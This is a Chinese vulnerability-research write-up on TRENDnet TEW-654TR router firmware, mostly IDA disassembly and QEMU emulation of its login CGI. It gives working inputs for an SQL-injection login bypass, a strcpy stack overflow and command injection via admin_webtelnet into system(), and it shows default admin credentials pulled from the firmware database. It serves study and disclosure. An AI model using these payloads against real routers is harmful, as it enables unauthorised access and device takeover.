TEW-645TR
固件下载地址:http://download.trendnet.com/TEW-654TR/firmware/
本篇文章用的是FW_TEW-654TR_v1.0R(1.10.12).zip这个版本的。
固件下载完后用binwalk提取。
etc文件目录
etc不是什么缩写,是and so on的意思 来源于 法语的 et cetera 翻译成中文就是 等等 的意思. 至于为什么在/etc下面存放配置文件, 按照原始的UNIX的说法(linux文件结构参考UNIX的教学实现MINIX) 这下面放的都是一堆零零碎碎的东西, 就叫etc, 这其实是个历史遗留.
/etc目录
包含很多文件.许多网络配置文件也在/etc 中.
/etc/rc or/etc/rc.d or/etc/rc*.d
启动、或改变运行级时运行的scripts或scripts的目录.
/etc/passwd
用户数据库,其中的域给出了用户名、真实姓名、家目录、加密的口令和用户的其他信息.
/etc/fdprm
软盘参数表.说明不同的软盘格式.用setfdprm 设置.
/etc/fstab
启动时mount -a命令(在/etc/rc
或等效的启动文件中)自动mount的文件系统列表.Linux下,也包括用swapon
-a启用的swap区的信息.
/etc/group
类似/etc/passwd ,但说明的不是用户而是组.
/etc/inittab
init 的配置文件.
/etc/issue
getty在登录提示符前的输出信息.通常包括系统的一段短说明或欢迎信息.内容由系统管理员确定.
/etc/magic
file 的配置文件.包含不同文件格式的说明,file 基于它猜测文件类型.
/etc/motd
Message Of TheDay,成功登录后自动输出.内容由系统管理员确定.经常用于通告信息,如计划关机时间的警告.
/etc/mtab
当前安装的文件系统列表.由scripts初始化,并由mount命令自动更新.需要一个当前安装的文件系统的列表时使用,例如df命令.
/etc/shadow
在安装了影子口令软件的系统上的影子口令文件.影子口令文件将/etc/passwd文件中的加密口令移动到/etc/shadow中,而后者只对root可读.这使破译口令更困难.
/etc/login.defs
login 命令的配置文件.
/etc/printcap
类似/etc/termcap ,但针对打印机.语法不同.
/etc/profile , /etc/csh.login ,/etc/csh.cshrc
登录或启动时Bourne或Cshells执行的文件.这允许系统管理员为所有用户建立全局缺省环境.
/etc/securetty
确认安全终端,即哪个终端允许root登录.一般只列出虚拟控制台,这样就不可能(至少很困难)通过modem或网络闯入系统并得到超级用户特权.
/etc/shells
列出可信任的shell.chsh命令允许用户在本文件指定范围内改变登录shell.提供一台机器FTP服务的服务进程ftpd检查用户shell是否列在/etc/shells 文件中,如果不是将不允许该用户登录.
/etc/termcap
终端性能数据库.说明不同的终端用什么"转义序列"控制.写程序时不直接输出转义序列(这样只能工作于特定品牌的终端),而是从/etc/termcap中查找要做的工作的正确序列.这样,多数的程序可以在多数终端上运行
漏洞分析
sql注入
因为我没有连接路由器所以无法登录web界面来抓包,下图是别人的。从下图中可以看到HTML登录页面将我们提供的凭据提交给my_cgi.cgi脚本。
找到文件的位置,用ida加载文件。
root@tearorca:~/f/测试/tew-654tr/FW_TEW-654TR_v1.0R(1.10.12)/_TEW-654TRA1_FW110B12.bin.extracted/squashfs-root#find -name my_cgi.cgi
./usr/bin/my_cgi.cgi
在ida里面搜索user字符串,发现一组sql语句,找到这个语句的位置,发现是在do_login函数里面。
分析一下do_login函数。
li $gp, 0x56C9C
addu $gp, $t9
addiu $sp, -0x78
sw $ra, 0x78+var_8($sp)
sw $s5, 0x78+var_C($sp)
sw $s4, 0x78+var_10($sp)
sw $s3, 0x78+var_14($sp)
sw $s2, 0x78+var_18($sp)
sw $s1, 0x78+var_1C($sp)
sw $s0, 0x78+var_20($sp)
sw $gp, 0x78+var_68($sp)
la $t9, clear_msg
move $s5, $a3
move $s4, $a2
jalr $t9 ; clear_msg
move $s1, $a0
lw $gp, 0x78+var_68($sp)
addiu $a1, $s1, 0x299
la $t9, strcpy
addiu $a0, $sp, 0x78+var_60
sw $zero, 0x78+var_60($sp)
sw $zero, 0x78+var_5C($sp)
sw $zero, 0x78+var_58($sp)
sw $zero, 0x78+var_54($sp)
sw $zero, 0x78+var_50($sp)
sw $zero, 0x78+var_4C($sp)
sw $zero, 0x78+var_48($sp)
sh $zero, 0x78+var_44($sp)
sw $zero, 0x78+var_40($sp)
sw $zero, 0x78+var_3C($sp)
sw $zero, 0x78+var_38($sp)
sw $zero, 0x78+var_34($sp)
sw $zero, 0x78+var_30($sp)
sw $zero, 0x78+var_2C($sp)
sw $zero, 0x78+var_28($sp)
jalr $t9 ; strcpy
sh $zero, 0x78+var_24($sp)
lw $gp, 0x78+var_68($sp)
addiu $s0, $sp, 0x78+var_40
la $t9, strcpy
addiu $a1, $s1, 0x512
jalr $t9 ; strcpy
move $a0, $s0
lw $gp, 0x78+var_68($sp)
nop
la $t9, strlen
la $a0, sql
jalr $t9 ; strlen
move $s1, $a0
lw $gp, 0x78+var_68($sp)
move $a2, $v0
la $t9, memset
move $a0, $s1
jalr $t9 ; memset
move $a1, $zero
lw $gp, 0x78+var_68($sp)
move $a3, $s0
li $a1, 0x420000
la $t9, sprintf
addiu $a1, (aSelectLevelFro - 0x420000) # "select level from user where user_name="...
addiu $a2, $sp, 0x78+var_60
jalr $t9 ; sprintf
move $a0, $s1
lw $gp, 0x78+var_68($sp)
lui $a0, 4
la $t9, malloc
la $s3, my_db
jalr $t9 ; malloc
li $a0, 0x4F208
lw $gp, 0x78+var_68($sp)
lw $a0, (my_db - 0x45A6D4)($s3)
la $t9, exec_sql
move $a1, $s1
move $a2, $v0
jalr $t9 ; exec_sql
move $s2, $v0
lw $gp, 0x78+var_68($sp)
bnez $v0, loc_40B82C
lui $v0, 5
这一段先是两个strcpy把$a0+0x299的数据复制到$sp+0x78+var_60的位置,把$a0+0x512的数据复制到$sp+0x78+var_40的位置,至于数据是什么等会动态调试再分析。
move $s1, $a0
addiu $a1, $s1, 0x299
la $t9, strcpy
addiu $a0, $sp, 0x78+var_60
jalr $t9 ; strcpy
addiu $s0, $sp, 0x78+var_40
la $t9, strcpy
addiu $a1, $s1, 0x512
jalr $t9 ; strcpy
move $a0, $s0
然后给了一段名字叫sql的空间,计算它的长度,并用memset初始化这个空间为0。
la $t9, strlen
la $a0, sql
jalr $t9 ; strlen
move $s1, $a0
lw $gp, 0x78+var_68($sp)
move $a2, $v0
la $t9, memset
move $a0, $s1
jalr $t9 ; memset
move $a1, $zero
接着一段用了sprintf格式化函数,一共四个参数,根据上面的代码可以理解为
sprintf(sql,"select level from user where user_name='%s' and user_pwd='%s'",$sp+0x78+var_60,$sp+0x78+var_40)
move $a3, $s0
li $a1, 0x420000
la $t9, sprintf
addiu $a1, (aSelectLevelFro - 0x420000) # "select level from user where user_name="...
addiu $a2, $sp, 0x78+var_60
jalr $t9 ; sprintf
move $a0, $s1
然后后面再调用了exec_sql对上面的这条语句进行执行。并对执行结果是否为0进行判断。
lui $a0, 4
la $t9, malloc
la $s3, my_db
jalr $t9 ; malloc
li $a0, 0x4F208
lw $gp, 0x78+var_68($sp)
lw $a0, (my_db - 0x45A6D4)($s3)
la $t9, exec_sql
move $a1, $s1
move $a2, $v0
jalr $t9 ; exec_sql
move $s2, $v0
lw $gp, 0x78+var_68($sp)
bnez $v0, loc_40B82C
lui $v0, 5
来看一下动态调试的。
脚本:
#!/bin/bash
INPUT="$1"
LEN=$(echo -n "$INPUT" | wc -c)
if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]
then
echo -e "\nUsage: sudo $0 \n"
exit 1
fi
cp $(which qemu-mipsel) ./qemu
echo "$INPUT" | chroot . ./qemu -E REQUEST_METHOD="POST" -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REMOTE_ADDR="1.1.1.100" -g 1234 /usr/bin/my_cgi.cgi 2>/dev/null
rm -f ./qemu
root@tearorca:~/f/测试/tew-654tr/FW_TEW-654TR_v1.0R(1.10.12)/_TEW-654TRA1_FW110B12.bin.extracted/squashfs-root#./run_cgi.sh "request=login&user_name=admin&user_pwd=password"
下好断点,F9。
可以看到第一个复制的是我们输入的用户名。第二个复制的是我们输入的密码。
运行完sprintf之后,sql语句直接串上了我们输入的用户名和密码。然后由下面的exec_sql执行。
也就是说这里sql语句的参数是可控的,那么就会有sql注入的存在。
./run_cgi.sh "request=login&user_name=admin&user_pwd='%20or%20'1'%3D'1"
从理论上来说,这里的注入应该只能返回level这个表的内容。但根据文章作者在实际操作的情况下比较幸运的进入了web应用系统。
缓冲区溢出
从前面分析的strcpy函数来看,两个strcpy函数全部都没有对长度进行判断,所以可以溢出覆盖返回地址,用第一个strcpy来测试。从最前面可以发现返回地址在$sp+0x78+var_8的位置而strcpy的第一个参数在$sp+0x78+var_60的位置,所以需要覆盖0x60-0x8=88的位置。
sw $ra, 0x78+var_8($sp)
addiu $a1, $s1, 0x299
la $t9, strcpy
addiu $a0, $sp, 0x78+var_60
可以看到,控制了返回地址可以指向任意地方。
root@tearorca:~/f/测试/tew-654tr/FW_TEW-654TR_v1.0R(1.10.12)/_TEW-654TRA1_FW110B12.bin.extracted/squashfs-root#./run_cgi.sh "request=login&user_name=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB&user_pwd=password"
任意命令执行
看完了do_login函数,再回头看看main函数调用这个函数的位置,这里是一串字符串的比较。很显然do_login函数应该是匹配到了login这个字符串,根据前面分析的do_login函数这里应该是判断登录的位置。那应该就是从我们输入的request=后面得到的参数,来验证下猜想。
.text:0040964C loc_40964C: # CODE XREF: main+474↑j
.text:0040964C # main+494↑j ...
.text:0040964C la $a1, loc_410000
.text:00409650 la $t9, strcmp
.text:00409654 addiu $a1, (aLoadSetting - 0x410000) # "load_setting"
.text:00409658 jalr $t9 ; strcmp
.text:0040965C move $a0, $s3
.text:00409660 lw $gp, 0x2E6F0+var_2E6E0($sp)
.text:00409664 beqz $v0, loc_409A3C
.text:00409668 addiu $a1, $s1, (aLogin - 0x410000) # "login"
.text:0040966C la $t9, strcmp
.text:00409670 addiu $s0, $s3, 0x20
.text:00409674 jalr $t9 ; strcmp
.text:00409678 move $a0, $s0
.text:0040967C lw $gp, 0x2E6F0+var_2E6E0($sp)
.text:00409680 beqz $v0, loc_409A6C
.text:00409684 move $a0, $s3
.text:00409688 la $a1, loc_410000
.text:0040968C la $t9, strcmp
.text:00409690 addiu $a1, (aAdminLogin_0 - 0x410000) # "admin_login"
.text:00409694 jalr $t9 ; strcmp
.text:00409698 move $a0, $s0
.text:0040969C lw $gp, 0x2E6F0+var_2E6E0($sp)
.text:004096A0 nop
.text:004096A4 la $t9, admin_login
.text:004096A8 beqz $v0, loc_409AB0
.text:004096AC move $a0, $s3
.text:004096B0 la $a1, loc_410000
.text:004096B4 la $t9, strcmp
.text:004096B8 addiu $a1, (aAdminWebtelnet - 0x410000) # "admin_webtelnet"
.text:004096BC jalr $t9 ; strcmp
.text:004096C0 move $a0, $s0
.text:004096C4 lw $gp, 0x2E6F0+var_2E6E0($sp)
.text:004096C8 nop
.text:004096CC la $t9, send_telnet_cmd
.text:004096D0 beqz $v0, loc_409ACC
.text:004096D4 nop
.text:004096D8 la $a1, loc_410000
.text:004096DC la $t9, strcmp
.text:004096E0 addiu $a1, (aAdminTelnetSet_0 - 0x410000) # "admin_telnet_setting"
.text:004096E4 jalr $t9 ; strcmp
把request=login换成=admin_login,在0x0040964C下断点调试。
root@tearorca:~/f/测试/tew-654tr/FW_TEW-654TR_v1.0R(1.10.12)/_TEW-654TRA1_FW110B12.bin.extracted/squashfs-root#./run_cgi.sh "request=admin_login&user_name=admin&user_pwd=password"
F9运行之后发现直接结束,并没有断在断点位置,换回login,再运行发现断在断点位置,于是怀疑前面应该还有一组针对login的判断。往前找找。又发现了一处login,而且比之前找到的代码近乎一样,既然这个login在前面,那证明我们前面是找错了,这里的login才应该是登录的位置,之前那个应该有另外用处。
.text:004094EC la $t9, strcmp
.text:004094F0 addiu $s0, $sp, 0x2E6F0+var_2E6B8
.text:004094F4 move $a0, $s0
.text:004094F8 jalr $t9 ; strcmp
.text:004094FC addiu $a1, $s1, (aLogin - 0x410000) # "login"
.text:00409500 lw $gp, 0x2E6F0+var_2E6E0($sp)
.text:00409504 beqz $v0, loc_40964C
.text:00409508 nop
.text:0040950C la $a1, loc_410000
.text:00409510 la $t9, strcmp
.text:00409514 addiu $a1, (aShowMessage_0 - 0x410000) # "show_message"
.text:00409518 jalr $t9 ; strcmp
.text:0040951C move $a0, $s0
.text:00409520 lw $gp, 0x2E6F0+var_2E6E0($sp)
.text:00409524 beqz $v0, loc_40964C
.text:00409528 nop
.text:0040952C la $a1, loc_410000
.text:00409530 la $t9, strcmp
.text:00409534 addiu $a1, (aReboot - 0x410000) # "reboot"
.text:00409538 jalr $t9 ; strcmp
.text:0040953C move $a0, $s0
.text:00409540 lw $gp, 0x2E6F0+var_2E6E0($sp)
.text:00409544 beqz $v0, loc_40964C
.text:00409548 nop
.text:0040954C la $a1, loc_410000
.text:00409550 la $t9, strcmp
.text:00409554 addiu $a1, (aLogout - 0x410000) # "logout"
.text:00409558 jalr $t9 ; strcmp
.text:0040955C move $a0, $s0
.text:00409560 lw $gp, 0x2E6F0+var_2E6E0($sp)
.text:00409564 beqz $v0, loc_40964C
.text:00409568 nop
.text:0040956C la $a1, loc_410000
.text:00409570 la $t9, strcmp
.text:00409574 addiu $a1, (aFwVer - 0x410000) # "fw_ver"
.text:00409578 jalr $t9 ; strcmp
.text:0040957C move $a0, $s0
.text:00409580 lw $gp, 0x2E6F0+var_2E6E0($sp)
.text:00409584 beqz $v0, loc_40964C
.text:00409588 nop
在这里下断点,重新调试。还是以login作为参数。可以看到确实是以request=后面的值作为判断,这个login也应该是判断是否登录。
回到前面那一段代码,可以看到这里有个匹配admin_webtelnet的,然后后面有一个send_telnet_cmd函数,进入到这个函数。
.text:004096B4 la $t9, strcmp
.text:004096B8 addiu $a1, (aAdminWebtelnet - 0x410000) # "admin_webtelnet"
.text:004096BC jalr $t9 ; strcmp
.text:004096C0 move $a0, $s0
.text:004096C4 lw $gp, 0x2E6F0+var_2E6E0($sp)
.text:004096C8 nop
.text:004096CC la $t9, send_telnet_cmd
.text:004096D0 beqz $v0, loc_409ACC
.text:00409ACC loc_409ACC: # CODE XREF: main+640↑j
.text:00409ACC # main+668↑j
.text:00409ACC jalr $t9
.text:00409AD0 move $a0, $s3
.text:00409AD4 lw $gp, 0x2E6F0+var_2E6E0($sp)
.text:00409AD8 b loc_409824
.text:00409ADC nop
可以发现这里有一个system调用,并且参数是可控的。如果我们控制了这个参数,那么就可以达到命令执行。
.text:00415308 .globl send_telnet_cmd
.text:00415308 send_telnet_cmd: # DATA XREF: LOAD:004018D4↑o
.text:00415308 # main+63C↑o ...
.text:00415308
.text:00415308 var_18 = -0x18
.text:00415308 var_10 = -0x10
.text:00415308 var_C = -0xC
.text:00415308 var_8 = -8
.text:00415308
.text:00415308 li $gp, 0x4CF78
.text:00415310 addu $gp, $t9
.text:00415314 addiu $sp, -0x28
.text:00415318 sw $ra, 0x28+var_8($sp)
.text:0041531C sw $s1, 0x28+var_C($sp)
.text:00415320 sw $s0, 0x28+var_10($sp)
.text:00415324 sw $gp, 0x28+var_18($sp)
.text:00415328 la $s0, send_cmd
.text:0041532C la $t9, memset
.text:00415330 move $s1, $a0
.text:00415334 move $a1, $zero
.text:00415338 move $a0, $s0
.text:0041533C jalr $t9 ; memset
.text:00415340 li $a2, 0x1F4
.text:00415344 lw $gp, 0x28+var_18($sp)
.text:00415348 move $a0, $s0
.text:0041534C li $a1, 0x420000
.text:00415350 la $t9, sprintf
.text:00415354 addiu $a2, $s1, 0x299
.text:00415358 jalr $t9 ; sprintf
.text:0041535C addiu $a1, (aSTmpTmpSendRes - 0x420000) # "%s > /tmp/tmp_send_result"
.text:00415360 lw $gp, 0x28+var_18($sp)
.text:00415364 nop
.text:00415368 la $t9, system
.text:0041536C nop
.text:00415370 jalr $t9 ; system
.text:00415374 move $a0, $s0
.text:00415378 lw $gp, 0x28+var_18($sp)
.text:0041537C lw $ra, 0x28+var_8($sp)
.text:00415380 la $a0, loc_410000
.text:00415384 la $t9, set_redirect_page
.text:00415388 lw $s1, 0x28+var_C($sp)
.text:0041538C lw $s0, 0x28+var_10($sp)
.text:00415390 addiu $a0, (aAdminWebtelnet - 0x410000) # "admin_webtelnet"
.text:00415394 jr $t9 ; set_redirect_page
.text:00415398 addiu $sp, 0x28
首先还是从前面可以看到这里是要匹配admin_webtelnet的值,但如果输入admin_webtelnet就过不去前面的登录判断,所以要达到利用这个前提还是需要先登录然后才能进行后面的操作。至于怎么登录,可以通过前面的sql注入或者后面将会写的直接读取数据库文件获取用户名和密码。这里在操作的时候可以直接控制寄存器的值模拟登录后的情况。
root@tearorca:~/f/测试/tew-654tr/FW_TEW-654TR_v1.0R(1.10.12)/_TEW-654TRA1_FW110B12.bin.extracted/squashfs-root#./run_cgi.sh "request=admin_webtelnet&user_name=admin&user_pwd=password"
在这里把v0的值改为0
可以看到经过sprintf之后,输入的值变为了用户名。因为第二个参数为$s1+0x299也就是user_name=后面的值。
.text:00415354 addiu $a2, $s1, 0x299
再换一个实际一点的
root@tearorca:~/f/测试/tew-654tr/FW_TEW-654TR_v1.0R(1.10.12)/_TEW-654TRA1_FW110B12.bin.extracted/squashfs-root#./run_cgi.sh "request=admin_webtelnet&user_name=whoami&user_pwd=password"
root@tearorca:~/f/测试/tew-654tr/FW_TEW-654TR_v1.0R(1.10.12)/_TEW-654TRA1_FW110B12.bin.extracted/squashfs-root#./run_cgi.sh "request=admin_webtelnet&user_name=date&user_pwd=password"
获取用户名和密码
再往前看看主函数,可以看到有一段打开db文件的代码,db文件是数据库文件,意识是这里打开了数据库的某个文件并进行了一些操作。
.text:00409460 # main+214↑j
.text:00409460 blez $s1, loc_409938
.text:00409464 lui $s0, 2
.text:00409468 la $t9, open_db
.text:0040946C ori $a0, $s0, 0xE5F0
.text:00409470 jalr $t9 ; open_db
.text:00409474 addu $a0, $s3, $a0
.text:00409478 lw $gp, 0x2E6F0+var_2E6E0($sp)
.text:0040947C nop
.text:00409480 la $v1, my_db
.text:00409484 beqz $v0, loc_40914C
我们直接在终端找一下有哪些数据库文件
root@tearorca:~/f/测试/tew-654tr/FW_TEW-654TR_v1.0R(1.10.12)/_TEW-654TRA1_FW110B12.bin.extracted/squashfs-root# find ./ -name *.db
./mnt/apc.db
./mnt/default_rt.db
./mnt/wizard_ap.db
./mnt/ap.db
./mnt/rt.db
./mnt/user.db
./mnt/iface.db
./mnt/default_apc.db
./mnt/wizard_rt.db
./mnt/default_ap.db
./etc/rt.db
./etc/iface.db
可以看到数量还是比较多的,一个个尝试一下,直到试到rt.db,发现是有个SQLite 3的文件,用SQLite 3打开。
root@tearorca:~/f/测试/tew-654tr/FW_TEW-654TR_v1.0R(1.10.12)/_TEW-654TRA1_FW110B12.bin.extracted/squashfs-root#file ./mnt/rt.db
./mnt/rt.db: SQLite 3.x database, last written using SQLite version 0
可以直接获得表名和列名,进而直接拿到了用户名和密码。
root@tearorca:~/f/测试/tew-654tr/FW_TEW-654TR_v1.0R(1.10.12)/_TEW-654TRA1_FW110B12.bin.extracted/squashfs-root# sqlite3 ./mnt/rt.db
SQLite version 3.27.2 2019-02-25 16:06:06
Enter ".help" for usage hints.
sqlite> .tables
advanced_network smtp_settings wan_settings
daylight_saving special_application wan_static
db_version static_routing website_filter
dhcp_server syslog website_filter_mode
dmz time wireless_advanced
dynamic_dns user wireless_basic
dynamic_routing virtual_server wireless_filter
ip_filter wan_dhcp wireless_filter_mode
lan_settings wan_l2tp wireless_security
log_setting wan_pppoe wireless_wps
message wan_pptp wizard_setting
nat_filter wan_russia_l2tp wpa_settings
remote_management wan_russia_pppoe
restore_default wan_russia_pptp
sqlite> .schema user
CREATE TABLE IF NOT EXISTS "user" ("user_name" VARCHAR DEFAULT '', "user_pwd" VARCHAR DEFAULT '', "level" CHAR DEFAULT '');
sqlite> select * from user;
admin|admin|1
user|user|0
sqlite>
参考链接
https://blog.csdn.net/blueair_ren/article/details/79937599
http://www.devttys0.com/2011/09/exploiting-embedded-systems-part-1/
http://www.devttys0.com/2011/09/exploiting-embedded-systems-part-2/
http://www.devttys0.com/2011/09/exploiting-embedded-systems-part-3/
http://www.devttys0.com/2011/11/exploiting-embedded-systems-part-4/